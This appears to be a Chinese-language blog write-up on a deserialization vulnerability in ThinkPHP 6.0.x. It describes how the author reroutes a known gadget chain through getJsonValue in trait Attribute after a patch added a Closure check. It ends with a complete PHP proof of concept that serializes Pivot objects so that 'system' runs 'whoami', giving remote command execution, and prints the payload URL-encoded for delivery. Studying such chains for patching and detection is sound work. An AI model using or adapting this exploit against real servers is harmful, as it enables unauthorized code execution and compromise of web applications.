ThinkPHP6.0反序列化漏洞
前言
在学习大师傅们的thinkPHP6.0.x的反序列化漏洞复现文章时,发现自己下载的TP版本是被修复过后的版本。于是更改一下旧链达到RCE。在看本文章前先去看一下上述提到的大师傅的文章。
修补之处
__destruct链触发走的路一样
__toString链最终利用点不同
在旧版本当中,trait Attribute中499行else里面就是最终执行动态函数的地方,所以需要绕过496行的if语句。
但是我复现的时候发现了新版本做了更改即使绕过了496处的if语句在else语句中也会有以下语句的判断。
if ($closure instanceof \Closure)
它会再一次判断$closure是否为闭包函数,所以在这里原来链就被断了。我也是想不出怎么绕过这个语句。
漏洞复现
突然看到有个注释写$closure为动态函数获取器,那么想着会不会其他地方也有类似的语句。
$value = $closure($value, $this->data);
于是发现也是在trait Attribute中539行的地方。有类似的结构。
查看getJsonValue函数调用的地方。
没想到它也__toString链中498行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。于是我们得进入496行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。
进入getJsonValue。
value为this->data[filename]的值。而name就是上一个函数的filename.
进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式
private $withAttr = ["key"=>["key1"=>"system"]];
这样closure就获得了system。看看它的参数value[key],而value为this->data[filename]的值,所以可以构造this->data为以下形式
private $data = ["key" => ["key1" => "whoami"]];
与旧链POC不同之处,trait Attribute中
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
Medol中添加 protected $jsonAssoc;并设置其值为true。
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
其他条件相同。
完整POC
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));